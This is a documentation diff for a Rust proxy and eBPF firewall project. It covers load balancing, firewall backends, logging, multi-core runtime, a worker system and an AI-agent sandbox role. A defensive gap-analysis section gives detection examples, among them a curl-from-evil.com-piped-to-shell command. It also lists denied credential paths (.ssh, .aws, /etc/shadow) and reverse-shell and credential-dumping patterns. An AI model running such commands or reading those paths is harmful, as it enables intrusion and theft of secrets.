+### Weighted Load Balancing
+
+Synapse supports weighted load balancing using Pingora's Weighted algorithm, allowing you to distribute traffic proportionally across upstream servers based on their capacity or priority.
+
+**How it works:**
+- Each server can be assigned a weight (default: 1 for equal distribution)
+- Traffic is distributed proportionally based on weights
+- Uses Pingora's Weighted algorithm for efficient selection
+- Automatically falls back to simple round-robin when all weights are equal (optimization)
+
+**Configuration:**
+
+Servers can be configured in two formats:
+
+1. **Simple string format** (weight defaults to 1):
+```yaml
+servers:
+  - "127.0.0.1:8000"
+  - "127.0.0.1:8001"
+```
+
+2. **Object format with explicit weight**:
+```yaml
+servers:
+  - address: "127.0.0.1:8000"
+    weight: 1
+  - address: "127.0.0.1:8001"
+    weight: 3  # Gets 3x more traffic than server 1
+  - address: "127.0.0.1:8002"
+    weight: 2  # Gets 2x more traffic than server 1
+```
+
+**Example:**
+
+In this configuration, server `8001` will receive 3x more traffic than `8000`, and `8002` will receive 2x more:
+```yaml
+upstreams:
+  api.example.com:
+    paths:
+      "/":
+        servers:
+          - "127.0.0.1:8000"           # Weight: 1 (25% of traffic)
+          - address: "127.0.0.1:8001"   # Weight: 3 (50% of traffic)
+            weight: 3
+          - address: "127.0.0.1:8002"   # Weight: 2 (25% of traffic)
+            weight: 2
+```
+
+**Use cases:**
+- **Capacity-based distribution** - Route more traffic to servers with higher capacity
+- **Gradual rollout** - Gradually increase traffic to new servers
+- **Priority routing** - Prefer certain servers for critical traffic
+- **A/B testing** - Distribute traffic between different server versions

+### Multi-Backend Firewall
 
-#### Load Balancer Integration
+Synapse supports multiple firewall backends with automatic fallback:
 
-Health checks are designed for seamless integration with load balancers:
+- **XDP/BPF backend** - Ultra-low latency kernel-space filtering (highest performance)
+- **nftables backend** - Modern netfilter framework (fallback when XDP unavailable)
+- **iptables backend** - Legacy netfilter framework (compatibility fallback)
+- **Userland backend** - Application-level enforcement (no kernel firewall)
+- **Automatic selection** - Auto mode selects best available backend (XDP > nftables > iptables > none)
+- **Multiple interfaces** - Support for attaching to multiple network interfaces
+- **IP version filtering** - Configure IPv4 only, IPv6 only, or both
 
-- **Kubernetes** - Use for liveness and readiness probes
-- **Docker Swarm** - Health check endpoint for service discovery
-- **AWS ALB/NLB** - Target group health checks
-- **HAProxy** - Backend server health monitoring
-- **Nginx** - Upstream health checks
+> **⚠️ Warning**: When using nftables or iptables backends (instead of XDP), BPF statistics collection is **not available**. This means packet processing metrics, dropped IP tracking, and statistics will not be collected or displayed on the dashboard. Only the XDP/BPF backend provides BPF statistics functionality.
 
-### XDP Packet Filtering
+#### Configuration
 
-Synapse uses eXpress Data Path (XDP) for ultra-low latency packet filtering:
+**YAML Configuration:**
+```yaml
+firewall:
+  mode: "auto"  # auto, xdp, nftables, iptables, none
+  disable_xdp: false
+
+network:
+  iface: "eth0"  # Single interface
+  ifaces: ["eth0", "eth1"]  # Multiple interfaces (overrides iface)
+  ip_version: "both"  # ipv4, ipv6, or both
+```
 
-- **Kernel-space filtering** - Packet filtering happens in kernel space for maximum performance
-- **BPF programs** - Custom Berkeley Packet Filter programs for advanced filtering
-- **Multiple interfaces** - Support for attaching to multiple network interfaces
-- **Fallback mode** - Can run without XDP for environments that don't support it
+**Environment Variables:**
+```bash
+FIREWALL_MODE=auto
+FIREWALL_DISABLE_XDP=false
+NETWORK_IFACE=eth0
+NETWORK_IFACES=eth0,eth1
+NETWORK_IP_VERSION=both
+```
 
 ### BPF Statistics and Monitoring

+### File Logging
+
+Comprehensive file-based logging with automatic rotation:
+
+- **Separate log files** - Error logs, application logs, and access logs in separate files
+- **Automatic rotation** - Log files rotate when they reach the configured maximum size
+- **Gzip compression** - Rotated log files are automatically compressed
+- **Configurable retention** - Control how many rotated log files to keep
+- **Directory management** - Log directory is created automatically if it doesn't exist
+
+**Configuration:**
+```yaml
+logging:
+  file_logging_enabled: true
+  log_directory: "/var/log/synapse"
+  max_log_size: 104857600  # 100MB
+  log_file_count: 10  # Keep 10 rotated files

+- `error.log` - ERROR level logs only
+- `app.log` - All application logs (info, warn, error, debug, trace)
+- `access.log` - HTTP access logs in JSON format (proxy mode only)
+- `error.1.log.gz`, `error.2.log.gz`, etc. - Rotated/compressed error logs
+- `app.1.log.gz`, `app.2.log.gz`, etc. - Rotated/compressed app logs
+- `access.1.log.gz`, `access.2.log.gz`, etc. - Rotated/compressed access logs
+
+### Syslog Integration
+
+Centralized logging via syslog:
+
+- **Multiple facilities** - Support for daemon, local0-7, user, syslog facilities
+- **Per-log-type priorities** - Different syslog priority levels for error, app, and access logs
+- **Automatic connection** - Tries unix socket, then TCP, then UDP for syslog connection
+- **Configurable identifier** - Custom syslog tag/identifier
+
+**Configuration:**
+```yaml
+logging:
+  syslog:
+    enabled: true
+    facility: "daemon"  # daemon, local0-7, user, syslog
+    identifier: "synapse"
+    levels:
+      error: "err"      # emerg, alert, crit, err, warning, notice, info, debug
+      app: "info"
+      access: "info"
+```

 ### TLS Management
 
 Comprehensive TLS support with multiple modes:
 
 - **ACME integration** - Automatic certificate management with Let's Encrypt
+- **HTTP-01 challenges** - Standard HTTP-based certificate validation
+- **DNS-01 challenges** - DNS-based validation for wildcard certificates
+- **Automatic wildcard detection** - Automatically uses DNS-01 for wildcard domains
 - **Custom certificates** - Support for your own TLS certificates
 - **HTTP-only mode** - Run without TLS for internal networks
 - **TLS enforcement** - Force HTTPS with HTTP upgrade responses
+- **Certificate expiration monitoring** - Check and renew certificates automatically
+- **Manual renewal** - Trigger certificate renewal via internal services API

 ## Notes
 
-- The `--upstream` option is always required for request forwarding
+- **Mode configuration**: Use `mode: "proxy"` or `mode: "agent"` to control application mode
+- **Configuration sections**: Use `platform` for Gen0Sec configuration, `proxy` for proxy configuration
+- **Environment variables**: Use format without `AX_` prefix (e.g., `API_KEY`, `BASE_URL`, `LOGGING_LEVEL`)
+- **Firewall backends**: Automatic fallback from XDP to nftables to iptables to userland based on availability
+- **IP version support**: Configure `network.ip_version` to filter IPv4 only, IPv6 only, or both
+- **Threat MMDB**: Local MaxMind database for offline threat intelligence (auto-updated from download server)
+- **GeoIP MMDB**: Country, ASN, and city databases for geolocation (auto-updated from download server)
+- **ACME challenges**: DNS-01 challenge automatically used for wildcard domains, HTTP-01 for regular domains
+- **Internal services**: Unified server on port 9180 (default) for CAPTCHA, ACME, and certificate management
+- **File logging**: Automatic rotation and gzip compression when `file_logging_enabled: true`
+- **Syslog integration**: Optional syslog output with configurable facility and identifier
+- **Upstream timeouts**: Per-path timeout configuration (connection, read, write, idle) for fine-grained control
+- **SSL/TLS options**: `ssl_enabled` controls upstream HTTPS, `force_https` redirects HTTP to HTTPS

-- `--tls-only` mode enforces TLS requirements: non-SSL requests return 426 Upgrade Required (except ACME challenges)
-- For custom TLS mode, both `--tls-cert-path` and `--tls-key-path` are required
 - Domain filtering supports exact matches (whitelist)
 - When using Docker, ensure the required capabilities (`SYS_ADMIN`, `BPF`, `NET_ADMIN`) are added

 ### Viewing Logs
 
 In daemon mode, logs are split:
-- **stdout** (`/var/log/synapse.out`) - Application logs (info, debug, warn, error from the logger)
-- **stderr** (`/var/log/synapse.err`) - Panic messages and other stderr output
+- **access_log** (`/var/log/synapse/access.log`) - Access log JSON (one line per request)
+- **error_log** (`/var/log/synapse/error.log`) - All other logs (info/debug/warn/error)
 
 ```bash
 # Tail application logs (primary log file)
-tail -f /var/log/synapse.out
+tail -f /var/log/synapse/access.log
 
 # Tail error output (panics, system errors)
-tail -f /var/log/synapse.err
+tail -f /var/log/synapse/error.log
 
 # View both logs simultaneously
-tail -f /var/log/synapse.out /var/log/synapse.err
+tail -f /var/log/synapse/access.log /var/log/synapse/error.log
 ```
 
-**Note**: When running in daemon mode, the application logger writes to stdout for better log organization. In non-daemon mode, logs go to stderr (standard behavior).

+# Multi-Core Support in Moat
+
+## Overview
+
+Moat has **full multi-core support** built-in. The application automatically detects available CPU cores and configures the Tokio runtime to utilize all available processing power.
+
+## Implementation Details
+
+### Automatic CPU Detection
+
+The application detects available CPU cores at startup using Rust's standard library:
+
+```rust
+let num_cpus = std::thread::available_parallelism()
+    .map(|n| n.get())
+    .unwrap_or(1);
+```
+
+### Runtime Configuration
+
+Moat uses a multi-threaded Tokio runtime configured to match the number of available CPU cores:
+
+```rust
+let mut builder = tokio::runtime::Builder::new_multi_thread();
+builder.worker_threads(num_cpus);
+builder.enable_all();
+let runtime = builder.build()?;
+```
+
+**Location**: `src/main.rs` lines 60-227
+
+### Environment Variable Support
+
+The `TOKIO_WORKER_THREADS` environment variable is automatically set if not already configured:
+
+```rust
+if std::env::var("TOKIO_WORKER_THREADS").is_err() {
+    unsafe {
+        std::env::set_var("TOKIO_WORKER_THREADS", num_cpus_early.to_string());
+    }
+}
+```
+
+This ensures that:
+- The main Tokio runtime uses all cores
+- Pingora proxy subsystem inherits the multi-core configuration
+- All async operations can execute concurrently
+
+### Dependencies
+
+Multi-core support is enabled through Tokio's `rt-multi-thread` feature:
+
+```toml
+tokio = { version = "1", features = [
+  "rt-multi-thread",  # Enables multi-threaded runtime
+  "macros",
+  "net",
+  "io-util",
+  "signal",
+  "sync",
+] }
+```
+
+**Location**: `Cargo.toml` lines 18-25
+
+## Performance Characteristics
+
+### Benchmark Results
+
+Based on test results on a 16-core system:
+
+#### CPU-Intensive Workload
+- **Single-threaded**: 81.00 ms for 8 tasks
+- **Multi-threaded (8 threads)**: 15.92 ms for 8 tasks
+- **Speedup**: ~5.1x faster
+
+#### High Throughput
+- **Throughput**: 179,713 requests/second with 8 worker threads
+- **Latency**: <6 microseconds per request
+
+#### Realistic Proxy Workload
+- **Throughput**: 3,555 requests/second
+- **50 concurrent requests**: completed in 14.06 ms
+
+### Thread Distribution
+
+The runtime effectively distributes work across multiple threads:
+- IO-bound tasks: Scheduled across worker threads
+- CPU-bound tasks: Dispatched to blocking thread pool via `spawn_blocking`
+
+## Testing
+
+Comprehensive test suites verify multi-core functionality:
+
+### Unit Tests (`tests/multicore_test.rs`)
+- `test_multiple_workers_are_used`: Verifies tasks run on different threads
+- `test_concurrent_task_execution`: Validates concurrent execution
+- `test_cpu_intensive_tasks_on_multiple_cores`: Tests CPU work distribution
+- `test_parallel_work_distribution`: Measures concurrent task execution
+
+### Integration Tests (`tests/integration_multicore_test.rs`)
+- `test_app_detects_multiple_cores`: Validates CPU detection
+- `test_runtime_configuration_matches_main`: Tests runtime setup
+- `test_high_concurrency_scenario`: Simulates proxy workload
+- `test_mixed_cpu_and_io_workload`: Tests realistic scenarios
+
+### Benchmarks (`tests/multicore_benchmark.rs`)
+- Single-threaded vs multi-threaded comparisons
+- CPU-intensive workload tests
+- Realistic proxy workload simulation
+- Memory allocation concurrency tests
+
+### Running Tests
+
+```bash
+# Run all multi-core tests
+cargo test --test multicore_test --test integration_multicore_test -- --nocapture
+
+# Run benchmarks
+cargo test --test multicore_benchmark -- --nocapture --test-threads=1
+
+# Run specific test
+cargo test test_multiple_workers_are_used -- --nocapture
+```
+
+## Configuration
+
+### Default Behavior
+
+By default, Moat uses all available CPU cores. No configuration required.
+
+### Override Worker Threads
+
+To manually set the number of worker threads:
+
+```bash
+# Use 4 worker threads
+export TOKIO_WORKER_THREADS=4
+./synapse --config config.yaml
+
+# Or inline
+TOKIO_WORKER_THREADS=4 ./synapse --config config.yaml
+```
+
+### Verification
+
+Check the log output at startup to verify multi-core configuration:
+
+```
+[DEBUG] main() started, num_cpus=16, TOKIO_WORKER_THREADS=Ok("16")
+```
+
+## Architecture Components Utilizing Multi-Core
+
+### 1. HTTP Proxy (Pingora)
+- Multiple worker threads handle incoming connections
+- Each thread can process requests independently
+- Location: `src/http_proxy/start.rs`
+
+### 2. Background Workers
+All workers run concurrently:
+- **Certificate Worker**: TLS certificate management
+- **Config Worker**: Configuration refresh
+- **Log Sender Worker**: Event batching and transmission
+- **Threat MMDB Worker**: Threat intelligence updates
+- **GeoIP MMDB Worker**: GeoIP database updates
+
+Location: `src/worker/`
+
+### 3. BPF Statistics Collection
+- Multiple interfaces processed concurrently
+- Statistics aggregation runs in parallel
+- Location: `src/bpf_stats.rs`
+
+### 4. TCP Fingerprinting
+- Concurrent fingerprint collection across interfaces
+- Parallel event processing
+- Location: `src/utils/tcp_fingerprint.rs`
+
+### 5. Access Rules Enforcement
+- XDP programs on multiple interfaces
+- Concurrent rule evaluation
+- Location: `src/access_rules.rs`
+
+## Performance Recommendations
+
+### For High Throughput
+- **Recommended**: Let the system auto-detect (uses all cores)
+- **Manual tuning**: Set `TOKIO_WORKER_THREADS` to match CPU core count
+
+### For Low Latency
+- **Recommended**: Use all cores for parallel processing
+- **Consider**: CPU affinity for dedicated worker threads (advanced)
+
+### For Resource-Constrained Systems
+- Manually limit worker threads to conserve resources:
+  ```bash
+  TOKIO_WORKER_THREADS=2 ./synapse --config config.yaml
+  ```
+
+### For Container Deployments
+The application respects container CPU limits:
+- Automatically detects available CPUs in cgroup
+- No special configuration needed for Docker/Kubernetes
+
+## Monitoring Multi-Core Utilization
+
+### System Level
+```bash
+# Monitor per-thread CPU usage
+top -H -p $(pgrep synapse)
+
+# Detailed thread information
+htop  # Press 'H' to show threads
+```
+
+### Application Level
+The application logs worker thread activity:
+```
+[DEBUG] Runtime worker thread active, thread_id=ThreadId(42), worker_index=0
+[DEBUG] Runtime worker thread active, thread_id=ThreadId(43), worker_index=1
+```
+
+### Metrics
+- BPF statistics show per-interface packet processing
+- Worker logs indicate concurrent task execution
+- Thread IDs in logs demonstrate multi-thread activity
+
+## Troubleshooting
+
+### Issue: "Only 1 thread detected"
+**Cause**: Running in severely constrained environment
+**Solution**: Check container/VM CPU allocation
+
+### Issue: "Tasks not running concurrently"
+**Cause**: `TOKIO_WORKER_THREADS=1` is set
+**Solution**: Unset the environment variable or increase value
+
+### Issue: "High CPU but low throughput"
+**Cause**: CPU-bound tasks blocking async threads
+**Solution**: Ensure CPU-intensive operations use `spawn_blocking`
+
+### Issue: "Thread count exceeds CPU count"
+**Expected**: Blocking thread pool is separate from worker threads
+**Normal**: Additional threads for blocking I/O are expected
+
+## Future Enhancements
+
+Potential optimizations:
+- [ ] Per-worker metrics and load balancing
+- [ ] NUMA-aware thread pinning
+- [ ] Dynamic worker thread adjustment based on load
+- [ ] Work-stealing queue optimizations
+- [ ] CPU affinity for critical paths

+## AI Agent Security (bpfjailer `ai_agent` role)
+
+bpfjailer includes a pre-configured `ai_agent` role specifically designed for securing AI workloads:
+
+```json
+{
+  "ai_agent": {
+    "flags": {
+      "allow_file_access": true,
+      "allow_network": true,
+      "allow_exec": false,
+      "require_proxy": true
+    },
+    "file_paths": [
+      {"pattern": "/.ssh/", "allow": false},
+      {"pattern": "/.aws/", "allow": false},
+      {"pattern": "/.kube/", "allow": false},
+      {"pattern": "/.docker/", "allow": false},
+      {"pattern": "/etc/shadow", "allow": false},
+      {"pattern": "/workspace/", "allow": true}
+    ],
+    "ip_rules": [
+      {"cidr": "10.0.0.0/8", "allow": false},
+      {"cidr": "172.16.0.0/12", "allow": false},
+      {"cidr": "192.168.0.0/16", "allow": false}
+    ],
+    "domain_rules": [
+      {"domain": "api.openai.com", "allow": true},
+      {"domain": "api.anthropic.com", "allow": true}
+    ],
+    "proxy": {
+      "address": "127.0.0.1:8080",
+      "required": true
+    }
+  }
+}
+```
+
+This protects against:
+- Secrets exfiltration (SSH keys, cloud credentials)
+- SSRF to internal networks
+- Unauthorized command execution
+- Data exfiltration to unapproved domains

+## Gap Analysis: Solutions for Missing Features
+
+### Script Execution Tracking
+
+**Current state:** bpfjailer has `bprm_check_security` hook which controls exec, but doesn't capture interpreter arguments (e.g., `python malicious.py`).
+
+**Solution approaches:**
+
+| Approach | Implementation | Complexity | Component |
+|----------|----------------|------------|-----------|
+| execve tracepoint | BPF tracepoint on `sys_enter_execve` to capture full argv | Medium | bpfjailer |
+| cmdline monitoring | Read `/proc/[pid]/cmdline` after exec | Easy | bpfjailer |
+| Interpreter tracking | Track when python/bash/node opens script files via `file_open` | Medium | bpfjailer |
+| Script file hashing | Hash script files on open by known interpreters | Medium | bpfjailer |
+
+**Recommended implementation:** Add BPF tracepoint on `sys_enter_execve` in bpfjailer to capture:
+- Full command line (interpreter + script + arguments)
+- Working directory
+- Environment variables (optional, high volume)
+
+**Example detections enabled:**
+```
+python3 /tmp/malicious.py --exfil
+bash -c "curl http://evil.com | sh"
+node -e "require('child_process').exec('whoami')"
+```
+
+### Automated Sandboxing
+
+**bpfjailer capabilities:** Runtime sandboxing (isolate running processes) - YES. Detonation sandboxing (analyze suspicious files) - NO.
+
+| Sandboxing Type | bpfjailer | Notes |
+|-----------------|-----------|-------|
+| Runtime isolation | ✅ Yes | Enroll suspicious process into `restricted` role immediately |
+| Pre-execution sandbox | ✅ Yes | Auto-enroll by executable path before it runs |
+| Network containment | ✅ Yes | Block all network for sandboxed process |
+| File containment | ✅ Yes | Restrict file access to `/tmp/sandbox/` only |
+| Detonation sandbox | ❌ No | Requires separate VM/container (Firecracker) |
+
+**Proposed `auto_sandbox` role for bpfjailer:**
+```json
+{
+  "auto_sandbox": {
+    "id": 99,
+    "flags": {
+      "allow_file_access": true,
+      "allow_network": false,
+      "allow_exec": false
+    },
+    "file_paths": [
+      {"pattern": "/tmp/sandbox/", "allow": true},
+      {"pattern": "/proc/self/", "allow": true},
+      {"pattern": "/", "allow": false}
+    ]
+  }
+}
+```
+
+**For detonation sandboxing (future):**
+- Lightweight VM integration (Firecracker)
+- File submission API
+- Behavioral analysis inside sandbox
+- Separate project scope
+
+### Indicators of Attack (IOA) - Required Data
+
+JA4+ provides **connection fingerprints** (who/what is connecting). IOAs require **behavioral patterns** (what they're doing after connecting).
+
+#### Data Sources Needed
+
+| Data Type | Source | Have Today? | Component |
+|-----------|--------|-------------|-----------|
+| Network fingerprints | JA4T, JA4, JA4H, JA4L | ✅ | moat + nstealth |
+| Process execution | execve tracepoint | ❌ Need | bpfjailer |
+| Process tree | fork/clone tracking | ❌ Need | bpfjailer |
+| Command lines | execve argv capture | ❌ Need | bpfjailer |
+| File operations | file_open, file_write | ✅ | bpfjailer |
+| Network per-process | socket_connect/bind | ✅ | bpfjailer |
+| DNS queries | DNS packet parsing | ❌ Need | moat XDP |
+| User context | uid/gid on syscalls | ⚠️ Partial | bpfjailer |
+| Timing/sequences | Event correlation | ❌ Need | New component |
+
+#### IOA Pattern Examples
+
+| IOA Pattern | Required Data | Current Status |
+|-------------|---------------|----------------|
+| Reverse shell | Process spawns shell → shell connects outbound | ⚠️ Partial |
+| Credential dumping | Process reads `/etc/shadow`, `.ssh/`, `.aws/` | ✅ bpfjailer |
+| Lateral movement | SSH/RDP outbound after initial access | ⚠️ Need process correlation |
+| Data staging | Large file writes to /tmp before exfil | ⚠️ Need file size tracking |
+| Living off the land | `curl` piped to `bash` | ❌ Need cmdline tracking |
+| Persistence | Writes to cron, systemd, rc.local | ✅ bpfjailer file rules |
+| Privilege escalation | setuid call after file modification | ✅ bpfjailer setuid control |
+
+#### IOA Implementation Roadmap
+
+| Priority | Feature | Component | Difficulty |
+|----------|---------|-----------|------------|
+| 1 | Full cmdline capture on exec | bpfjailer | Medium |
+| 2 | Process tree tracking (parent PID) | bpfjailer | Medium |
+| 3 | DNS query logging | moat XDP | Medium |
+| 4 | Event correlation engine | New (Rust) | Hard |
+| 5 | IOA rule engine (YAML-based) | New (Rust) | Medium |

+# Worker System
+
+This module provides a standardized way to run background tasks in the application.
+
+## Overview
+
+Workers are long-running background tasks that perform periodic or event-driven work. The worker system provides:
+
+- **Lifecycle management**: Automatic startup, shutdown, and graceful termination
+- **Shutdown coordination**: All workers respond to a shared shutdown signal
+- **Registration**: Central `WorkerManager` for tracking and managing workers
+
+## Quick Start
+
+### Option 1: PeriodicTask Trait (Recommended)
+
+For simple interval-based tasks, implement the `PeriodicTask` trait:
+
+```rust
+use crate::worker::{PeriodicTask, PeriodicWorker, PeriodicResult, BoxFuture};
+
+struct MyTask {
+    api_url: String,
+}
+
+impl PeriodicTask for MyTask {
+    fn name(&self) -> &str {
+        "my_task"
+    }
+
+    fn interval_secs(&self) -> u64 {
+        60  // Run every 60 seconds
+    }
+
+    fn execute(&self) -> BoxFuture<'_, PeriodicResult> {
+        Box::pin(async move {
+            // Your periodic work here
+            println!("Doing work with {}", self.api_url);
+            Ok(())
+        })
+    }
+}
+
+// Register with WorkerManager
+let task = MyTask { api_url: "https://api.example.com".into() };
+let worker = PeriodicWorker::new(task);
+manager.register_worker(
+    WorkerConfig { name: "my_task".into(), interval_secs: 60, enabled: true },
+    worker,
+)?;
+```
+
+### Option 2: PeriodicWorkerBuilder (For Inline Tasks)
+
+For quick inline tasks without a dedicated struct:
+
+```rust
+use crate::worker::{PeriodicWorkerBuilder, WorkerConfig};
+
+let worker = PeriodicWorkerBuilder::new("cleanup_task", 300)
+    .on_tick(|_| Box::pin(async move {
+        // Cleanup logic here
+        Ok(())
+    }))
+    .build();
+
+manager.register_worker(
+    WorkerConfig { name: "cleanup_task".into(), interval_secs: 300, enabled: true },
+    worker,
+)?;
+```
+
+### Option 3: Worker Trait (For Complex Workers)
+
+For workers that need full control (event-driven, multiple intervals, etc.):

+## PeriodicTask Trait Methods
+
+| Method | Required | Description |
+|--------|----------|-------------|
+| `name()` | Yes | Worker name for logging |
+| `interval_secs()` | Yes | Seconds between executions |
+| `execute()` | Yes | The periodic work to perform |
+| `on_startup()` | No | Called once before first tick (default: calls `execute()`) |
+| `on_shutdown()` | No | Called on shutdown for cleanup (default: no-op) |
+| `log_success()` | No | Log successful executions at debug level (default: `true`) |
+| `missed_tick_behavior()` | No | How to handle missed ticks (default: `Delay`) |
+
+## PeriodicWorkerBuilder Methods
+
+```rust
+PeriodicWorkerBuilder::new("name", interval_secs)
+    .with_state(shared_state)      // Add shared state passed to callbacks
+    .on_startup(|s| ...)           // Called once at startup
+    .on_tick(|s| ...)              // Called on each interval (required)
+    .on_shutdown(|s| ...)          // Called on shutdown
+    .log_success(false)            // Disable success logging (for high-frequency tasks)
+    .missed_tick_behavior(Skip)    // Skip missed ticks instead of catching up
+    .build()
+```
+
+## Lifecycle
+
+1. **Registration**: Worker is registered with `WorkerManager`
+2. **Startup**: `on_startup()` is called once
+3. **Execution**: `execute()` is called on each interval tick
+4. **Shutdown**: When shutdown signal received, `on_shutdown()` is called
+5. **Termination**: Worker task completes

+```
+
+## Error Handling
+
+- Errors from `execute()` are logged as warnings but don't stop the worker
+- The worker continues running and will retry on the next interval
+- Use `on_shutdown()` to persist failed work or perform cleanup
+
+## Example: MMDB Sync Worker (Real Implementation)
+
+See `threat_mmdb.rs` and `geoip_mmdb.rs` for real implementations. Here's a simplified version:
+
+```rust

+/// Configuration for the MMDB worker
+#[derive(Clone)]
+pub struct MmdbConfig {
+    pub base_url: String,
+    pub mmdb_path: Option<PathBuf>,

+            Ok(new_ver) => {

+                    }
+                    log::info!("MMDB updated to version {:?}", new_ver);
+                }
+                Ok(())
+            }
+            Err(e) => Err(e.to_string().into()),
+        }
+    }
+}

+    fn log_success(&self) -> bool {
+        false  // Handle our own logging for version changes

+
+## Existing Workers
+
+| Worker | Type | Pattern | Description |
+|--------|------|---------|-------------|
+| `ThreatMmdbWorker` | Periodic | `PeriodicTask` | Downloads threat intelligence database |
+| `GeoipMmdbWorker` | Periodic | `PeriodicTask` | Downloads GeoIP databases (Country, ASN, City) |
+| `ConfigWorker` | Complex | `Worker` | Fetches config from API or watches local file |
+| `CertificateWorker` | Complex | `Worker` | Fetches certificates from Redis, multiple intervals |
+| `LogSenderWorker` | Event-driven | `Worker` | Batches and sends access logs to API |
+
+### When to Use Each Pattern
+
+**Use `PeriodicTask`** when your worker:
+- Runs the same task on a fixed interval
+- Has simple startup/shutdown behavior (or same as periodic tick)
+- Doesn't need multiple different intervals
+- Doesn't need event-driven or channel-based processing
+
+**Use raw `Worker` trait** when your worker:
+- Has multiple intervals (e.g., refresh every 5 min + cleanup every 6 hours)
+- Is event-driven (processes events from a channel)
+- Has complex modes (e.g., API mode vs file-watching mode)
+- Needs custom shutdown behavior different from startup
+
+## Testing
+
+Workers can be tested by:
+
+1. Creating the task directly and calling `execute()`:
+   ```rust
+   let task = MyTask::new();
+   task.execute().await?;
+   ```
+
+2. Using the full worker with a test shutdown channel:
+   ```rust
+   let (shutdown_tx, shutdown_rx) = watch::channel(false);
+   let handle = worker.run(shutdown_rx);
+
+   // Let it run
+   tokio::time::sleep(Duration::from_secs(5)).await;
+
+   // Shutdown
+   shutdown_tx.send(true).unwrap();
+   handle.await.unwrap();
+   ```
+
+See `src/worker/tests.rs` for comprehensive test examples.
